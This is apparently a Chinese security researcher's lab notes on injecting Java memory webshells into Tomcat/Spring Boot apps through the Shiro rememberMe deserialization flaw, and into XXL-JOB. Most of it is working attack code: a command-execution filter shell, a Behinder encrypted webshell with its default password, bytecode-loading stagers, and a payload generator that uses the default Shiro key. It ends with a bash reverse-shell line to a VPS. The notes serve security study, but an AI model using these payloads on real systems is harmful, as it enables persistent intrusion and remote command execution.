注:这篇文章记录在我的语雀里面,语雀格式好看一点,地址:
https://ganmaocai.yuque.com/ghgp8x/zoy1yn/faet35ae9gpxzn61
计划
复现以下框架的内存马注入:
shiro:
- 普通内存马
- 冰蝎马
- WebSocket马
xxl-job
- filter马
- 冰蝎马
- netty内存马
- agent内存马
其他
- JNDI(字节码里执行)
- SpringBoot spel表达式注入(spring cloud gateway)
- Struts2的ognl表达式注入
- Tomcat的EL表达式注入
参考:https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
Tomcat+Shiro内存马
启动环境
环境使用shiro反序列化靶场(Tomcat):https://github.com/yyhuni/shiroMemshell
配置一个tomcat地址,然后shirodemo
工件添加进去启动即可
部署工件:启动成功:
注入普通内存马
构建ExecFilter.java
注入一个filter类型的内存马ExecFilter.java
,这个马有两部分:一个恶意filter和将恶意filter注册进filterChain的类。
ExecFilterFilter
因为其被TemplatesImpl
类来加载,所以需要继承AbstractTranslet
类,原因参考:https://ganmaocai.yuque.com/ghgp8x/zoy1yn/ezka61zk9zoksi5c#tv850
最终得到如下代码:
package MemShell.ShiroFilter;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
public class ExecFilter extends AbstractTranslet implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
ExecFilter execFilter = new ExecFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(execFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(execFilter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (NoSuchFieldException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}
代码是会报错的,需要添加tomcat核心包
添加tomcat核心包
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.50</version>
</dependency>
利用反序列化漏洞注入
需要用CB1链或者CCShiro链进行注入,我之前写过:无commons-collections链:CommonsBeanutils
需要简单的改一下参数和返回值。
新建一个类Client_memshell
,使用javassist读取一个类文件的class,再利用shiro自带的类,对其进行base64+aes加密
package MemShell.ShiroFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client_memshell {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(ExecFilter.class.getName());
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
生成poc,通过rememberMe=
发送,报错请求头太大
修改配置复现
方法一:修改maxHttpHeaderSize配置
在tomcat的server.xml 配置文件中的 <Connector>
元素内设置 maxHttpHeaderSize
属性。
maxHttpHeaderSize="999999"
然后生成的poc构造发送,这次是200了
但是报错:Unable to deserialze argument byte array.
,意思是无法将字节数组反序列化为对象。 网上查了一下说的是因为tomcat版本的问题:shiro注入filter内存马及tomcat版本对获取context影响的分析_shiro内存马-CSDN博客
总结一下应该是8.5.78
往后的tomcat8都不行只有之前的版本可以使用WebappClassLoaderBase#getResources()
。
于是我又去下了个tomcat8.5.50
的,下载地址:https://archive.apache.org/dist/tomcat/tomcat-8/
换了版本之后成功了
成功弹计算器
绕过maxHttpHeaderSize
POST请求字节码绕过maxHttpHeaderSize
注入普通内存马
tomcat大小问题绕过参考洋洋师傅的文章:绕过maxHttpHeaderSize,我采用从POST请求体中发送字节码数据的方式进行绕过。
思路就是获取request、response等对象,然后通过request对象的getParameter方法获取参数,defineClass加载参数传进来的字节码即可。
把之前设置的maxHttpHeaderSize再删掉:
使用链:CommonsCollectionsShiro
,代码如下
package MemShell.ShiroFilter;
import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader;
import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader_Tomcat;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client_memshell {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(ClassDataLoader.class.getName());
// byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
要注入的filter内存马ExecFilter
:
package MemShell.ShiroFilter;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
public class ExecFilter extends AbstractTranslet implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
ExecFilter execFilter = new ExecFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(execFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(execFilter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (NoSuchFieldException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}
构建ClassDataLoader.java
用于接收参数classData
然后实例化传入的字节码并执行。
package MemShell.ShiroFilter.maxHttpHeaderSize;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class ClassDataLoader extends AbstractTranslet{
public ClassDataLoader() throws Exception {
Object o;
String s;
String classData = null;
boolean done = false;
Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < ts.length; i++) {
Thread t = ts[i];
if (t == null) {
continue;
}
s = t.getName();
if (!s.contains("exec") && s.contains("http")) {
o = getFV(t, "target");
if (!(o instanceof Runnable)) {
continue;
}
try {
o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
java.util.List ps = (java.util.List) getFV(o, "processors");
for (int j = 0; j < ps.size(); j++) {
Object p = ps.get(j);
o = getFV(p, "req");
Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});
byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
cc.newInstance();
done = true;
if (done) {
break;
}
}
}
}
}
public Object getFV(Object o, String s) throws Exception {
java.lang.reflect.Field f = null;
Class clazz = o.getClass();
while (clazz != Object.class) {
try {
f = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (f == null) {
throw new NoSuchFieldException(s);
}
f.setAccessible(true);
return f.get(o);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
使用Client_memshell.java
生成aes+base64加密的反序列化链:
package MemShell.ShiroFilter;
import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader;
import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader_Tomcat;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client_memshell {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(ClassDataLoader.class.getName());
// byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
将生成的poc通过Cookie: rememberMe=
发送然后生成base64编码过的ExecFilter.class
字节码,通过post传参,注意还要url编码一下
cat ExecFilter.class|base64 |sed ':label;N;s/\n//;b label'
yv66vgAAADQBQwoATACjCQCkAKUIAKYKAKcAqAgAdwsAqQCqCgCrAKwKAKsArQcArgcArwoAsACxCgAKALIKAAkAswcAtAoADgCjCgAJALUKAA4AtgoADgC3CgAOALgLALkAugoAuwC8CgC9AL4KAL0AvwoAvQDACwDBAMIIAGcIAMMIAMQKAMUAxgoAxQDHBwDICgAfAMkLAMoAywcAzAoAPwDNCACMCgA7AM4KAM8A0AoAzwDRBwDSBwDTCgApAKMHANQKACsAowoAKwDVCgArANYKADsA1woAKwDYCgAiANkHANoKADIAowoAMgDbCgAyANYJANwA3QoA3ADeCgAyAN8KACIA4AcA4QcA4gcA4woAOwDkCgDlANAHAOYKAOUA5wsAKADoBwDpCgBCAOoHAOsKAEQA6gcA7AoARgDqBwDtCgBIAOoHAO4KAEoA6gcA7wcA8AEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTE1lbVNoZWxsL1NoaXJvRmlsdGVyL0V4ZWNGaWx0ZXI7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb... ...
如下发送
弹个计算器看看成功没有,成功!
注入冰蝎马
classloader和cc链都是一样的,只是将ExecFilter.java
换成冰蝎马BehinderFilter.java
package MemShell.ShiroFilter;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class BehinderFilter extends AbstractTranslet implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
BehinderFilter behinderFilter = new BehinderFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (NoSuchFieldException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
System.out.println("Do Filter BX ......");
// 获取request和response对象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}catch (Exception e){
e.printStackTrace();
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}
生成它的字节码,然后base64+url编码,通过classData发送
cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'
然后使用冰蝎连接,成功:
URL:http://192.168.32.129:8080/shirodemo_war/
密码:rebeyond
原理分析
ExecFilter构造思路
我写的笔记:冰蝎马分析与改造
冰蝎马改造为字节码
参考:https://mp.weixin.qq.com/s/r4cU84fASjflHrp-pE-ybg
我写的笔记:冰蝎马分析与改造
Springboot+Shiro注内存马
启动环境
启动环境遇到了挺多问题
- 首先springboot-shiro这个目录没有被标记为模块
解决办法:在项目结构中添加
- 然后又报错“找不到项目 ‘org.springframework.boot:spring-boot-starter-parent:2.4.5’”等一堆报错,百度了一下。
解决办法:选择File—>Invalidate Caches / Restart…
就可以解决这个问题,因为更新之后,缓存没有及时生效,重启之后就好了。
- 最后报错“java: 程序包org.apache.catalina.connector不存在”
解决办法:右键模块——>Maven——>重新加载项目
然后终于跑起来了
注入冰蝎马
不搞那么麻烦了,直接注冰蝎马,注意spring的MyClassLoader
如下,是通过Spring Boot上下文中获取:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter("classData");
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
@Override
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
}
}
将生成的poc通过Cookie: rememberMe=发送
注意得先添加spring的依赖
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.4.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
如下所示:
生成冰蝎的字节码,然后base64+url编码,通过classData发送
cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'
注意冰蝎马因为tomcat和spring环境不一样,需要使用try… catch… 应对不同的环境发送后成功连接冰蝎
原理分析
spring和tomcat注册filter的差异分析
原因:springboot
中的standardContext
此filterConfigs
值是继承自父类使用try-catch对不同环境进行读取即可,也就是多了个getSuperclass()
getSuperclass()
:返回该类直接继承的父类的Class对象。 如果该类是Object类,则返回null。
Class<? extends StandardContext> aClass = null;
try{
aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
aClass.getDeclaredField("filterConfigs");
}catch (Exception e){
aClass = (Class<? extends StandardContext>) standardContext.getClass();
aClass.getDeclaredField("filterConfigs");
}
Spring Boot分析ClassLoader
首先是Spring Boot,通过Spring Boot的上下文获取request对象然后通过request获取response和session对象通过request
获取post
参数classData
后base64解码。最后通过反射获取ClassLoader#defineClass
,然后将传过来的字节码还原为类,实例化这个类调用其equals方法,参数为request,response,session
Tomcat分析ClassLoader
Tomcat和spring代码区别就是其没有spring的上下文,需要另外寻找其request。这里是通过遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象。
可以使用 内存对象搜索工具-java-object-searcher寻找,首先放到代码中:
编写一个servlet,在其doGet
方法中写入对应的查找逻辑
import josearcher.entity.Keyword;
import josearcher.searcher.SearchRequstByBFS;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
public class helloController extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter writer = resp.getWriter();
writer.println("hello servlet!");
//设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
//设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
List<Keyword> keys = new ArrayList<>();
Keyword.Builder builder = new Keyword.Builder();
builder.setField_type("nnn");
keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
keys.add(new Keyword.Builder().setField_type("Request").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("C:\\");
searcher.searchObject();
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
在web.xml也要配好映射:
<!--注册servlet-->
<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>controller.helloController</servlet-class>
</servlet>
<!--Servlet映射的请求路径-->
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
位置如下:我的虚拟机只有C盘,还需更改路径为C盘
searcher.setReport_save_path("C:\\");
然后访问/hello
, 查找结果文件保存在C盘根目录下
结果中有RequestInfo
然后这里我还不知道打断点在那里… …
问了下朋友
说的在jar包中打断点
最后也是找到了,不过也是一知半解的,并且这个Request对象也不是最终的Request对象
这个Request对象类型为org.apache.coyote.Request,并不能直接获取到请求体里面的数据。需要通过其notes对象拿到另一个类型为org.apache.catalina.connector.Request的Request对象,通过此对象就能调用getParameter方法获取到请求体里面的数据
复制它的堆栈出来是这样的:
createProcessor:904, AbstractHttp11Protocol (org.apache.coyote.http11)
process:798, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1623, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
然后最后的代码就是通过反射一直取值拿到request
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class ClassDataLoader extends AbstractTranslet{
public ClassDataLoader() throws Exception {
Object o;
String s;
String classData = null;
boolean done = false;
Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < ts.length; i++) {
Thread t = ts[i];
if (t == null) {
continue;
}
s = t.getName();
if (!s.contains("exec") && s.contains("http")) {
o = getFV(t, "target");
if (!(o instanceof Runnable)) {
continue;
}
try {
o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
java.util.List ps = (java.util.List) getFV(o, "processors");
for (int j = 0; j < ps.size(); j++) {
Object p = ps.get(j);
o = getFV(p, "req");
Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});
byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
cc.newInstance();
done = true;
if (done) {
break;
}
}
}
}
}
public Object getFV(Object o, String s) throws Exception {
java.lang.reflect.Field f = null;
Class clazz = o.getClass();
while (clazz != Object.class) {
try {
f = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (f == null) {
throw new NoSuchFieldException(s);
}
f.setAccessible(true);
return f.get(o);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
XXL-JOB
xxl-job分为:管理端xxl-job-admin、执行端xxl-job-executor,前xxl-job打agent内存马要求管理端和执行端处于同一台主机上。现在是分为两种情况:
- 在同一台:打vagent内存马
- 不在同一台:filter内存马,参考:xxl-job-executor注入filter内存马-https://xz.aliyun.com/t/13443
管理端:
- 后台——代码是spring的,默认8080端口
执行器:
- web接口——使用的是netty,默认9999端口
- web服务——spring,默认8081端口
内存马注入情况:
- vagent内存马——注入在管理端8080端口上,需要管理端和执行端处于同一台主机上。
- tomcat filter内存马——注入在管理端8081端口上,需要执行器web服务开启,其是spring的。
- netty内存马——注入在执行器9999端口上,缺点是原本执行逻辑会消失。
启动环境
使用vulhub启动环境
cd vulhub/xxl-job/unacc
docker-compose up -d
随后访问9999端口,如果能访问就是成功了,地址:http://192.168.32.128:8080/xxl-job-admin/toLogin。然后是使用idea自己搭:
github下载源码,我是先下了个2.2.0版本的,地址:https://github.com/xuxueli/xxl-job/releases
1.导入数据库,sql文件在xxl-job-2.2.0\doc\db
然后登录进数据库
source tables_xxl_job.sql
2.修改配置文件数据库配置
src/main/resources/application.properties
然后分别启动后台、执行端。
executor未授权访问漏洞
先复现一下漏洞(XXL-JOB executor 未授权访问漏洞):
发送数据包:
bash -i >& /dev/tcp/<vps-ip>/6666 0>&1
POST /run HTTP/1.1
